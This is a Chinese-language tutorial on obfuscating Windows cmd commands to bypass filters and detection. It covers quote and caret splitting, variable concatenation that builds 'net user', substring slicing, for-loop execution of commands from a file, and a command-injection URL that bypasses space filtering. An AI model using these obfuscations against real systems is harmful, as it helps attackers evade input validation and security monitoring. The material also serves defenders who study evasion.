一、连接符
1、双引号
不要求双引号闭合
举例:"who"a"mi" //闭合的 "who"a"mi //不闭合的
2、圆括号
必须在两边,不能包括中间的字符。
举例:((whoami))
3、^符号(转译符号)
不可以在结尾,同样不要求闭合
不能同时连续加2个^符号,因为^号是cmd中的转义符,跟在他后面的符号会被转义
举例:wh^o^a^mi
4、常规替换
%变量名:需要替换的内容=值%
如下举个例子:@符号能够将值传递到前面的环境变量中,如下就是将test传到c@alc的@位置,输出将是ctestalc。
cmd /c "set x=c@alc & echo %x:@=test% | cmd"
二、set命令和Windows变量
%任意字符%默认为空值。
set用来设置一个变量,%%括起来的用来引用变量,举例如下:
set a=whoami //设置变量a=1
echo a //输出一个a字符
echo %a% //输出变量a的值
%a% //直接引用a变量内的值进行执行
多环境变量合并拼接利用
cmd /c"set a=ser&& set b=ne&& set c=t u&&call %b%%c%%a%"
cmd /c "string":表示:执行字符串string指定的命令,然后终止。
cmd /V:ON /C "set a=ser&& set b=ne&& set c=t u&& !b!!c!!a!"
/v:on : 启用延迟的环境变量扩展,启用的话,可以不使用call命令来扩展变量,使用%var%或!var!来扩展变量,也就是可以使用感叹号字符来替代运行时的环境变量值。
三、切割字符串
命令行中存在类似php和python之类的语言中截取字符串的用法。
截取字符串的语法:%变量名:~x,y%
即对变量从第x个元素开始提取,总共取y个字符。
当然也可以写-x,-y,从后往前取
写作-x,可取从后往前数第x位的字符开始,一直到字符的末尾
-y来决定少取几个字符
举例如下:
set a=whoami
echo %a%
%a:~0% //取出a的值中的所有字符 //此时正常执行whoami
%a:~0,6% //取出a的值,从第0个位置开始,取6个值 //此时因为whoami总共就6个字符,所以取出后正常执行whoami
%a:~0,5% //取5个值,whoam无此命令
%a:~0,4% //取4个值,whoa无此命令
echo %a%
echo %a:~-5% //从后往前5个字符
echo %a:~-5,-1% //从后往前5个字符并且去掉最后一个
echo %a:~-5,1% //从后往前5个词组并且值展示第一个字符
综合利用:先用set命令查看所有的环境变量及值,然后根据自己想要的命令进行截取拼接。
空格被过滤的情况下也可以根据set变量的值中有空格的值进行提取。
四、for循环拼接命令
For循环经常被用来混淆处理cmd命令,使得cmd命令看起来复杂且难以检测。最常用的For循环参数有 /L,/F参数。
格式为:
for 参数 %变量名 in (相关文件或命令) do 执行的命令
具体利用:
for /L %variable in (start,step,end) do command [command-parameters]
该命令表示以增量形式从开始到结束的一个数字序列。使用迭代变量设置起始值(start).然后逐步执行一组范围的值,直到该值超过所设置的终止值 (end)。
/L 将通过对start与end进行比较来执行迭代变量。
如果start小于end,就会执行该命令,否则命令解释程序退出此循环。
还可以使用负的 step以递减数值的方式逐步执行此范围内的值。例如,(1,1,5) 生成序列 1 2 3 4 5,而 (5,-1,1) 则生成序列 (5 4 3 2 1)。
举例利用:
cmd /C "for /L %i in (1,1,5) do start cmd" //会执行打开5个cmd窗口
FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]
FOR /F ["options"] %variable IN ("string") DO command [command-parameters]
FOR /F ["options"] %variable IN ('command') DO command [command-parameters]
(file-set) 为文件名,for会依次将file-set中的文件打开,并且在进行到下一个文件之前将每个文件读取到内存,按照每一行分成一个一个的元素,忽略空白行。
("string")代表字符串
('command')代表命令。
举例利用:
假如文件aa.txt中如下内容:
第1行第1列 第1行第2列;第1行第3列;第1行第4列
第2行第1列 第2行第2列;第2行第3列;第2行第4列
参数一:for /F %i in (aa.txt) do echo %i //默认以空格或者Tab键作为分隔符
参数二:for /F "delims=;" %i in (aa.txt) do echo %i //将;作为分隔符进行分割
参数三:for /F "tokens=2 delims=;" %i in (aa.txt) do echo %i //指定用; 作为分隔符并且提取第2列数据
在实战中利用:
文件aa.txt中内容为自己的命令
whoami systeminfo
ipconfig dir
参数一:for /F %i in (aa.txt) do %i //直接执行第一行第一个和第二行第一个参数的命令
参数二:for /F "tokens=2 delims= " %i in (aa.txt) do %i //指定用 空格 作为分隔符并且执行第二列参数命令
五、绕过空格过滤
(1) 常规执行方式
直接用%26替换空格
(2) echo输出(绕过空格)
通过=绕过echo test123中的空格
举例:http://xxxx.com/test.php?addr=baidu.com%26echo=test123
(3)逗号和分号
逗号与分号某些情况可以当作一个终止符号或者代替空格。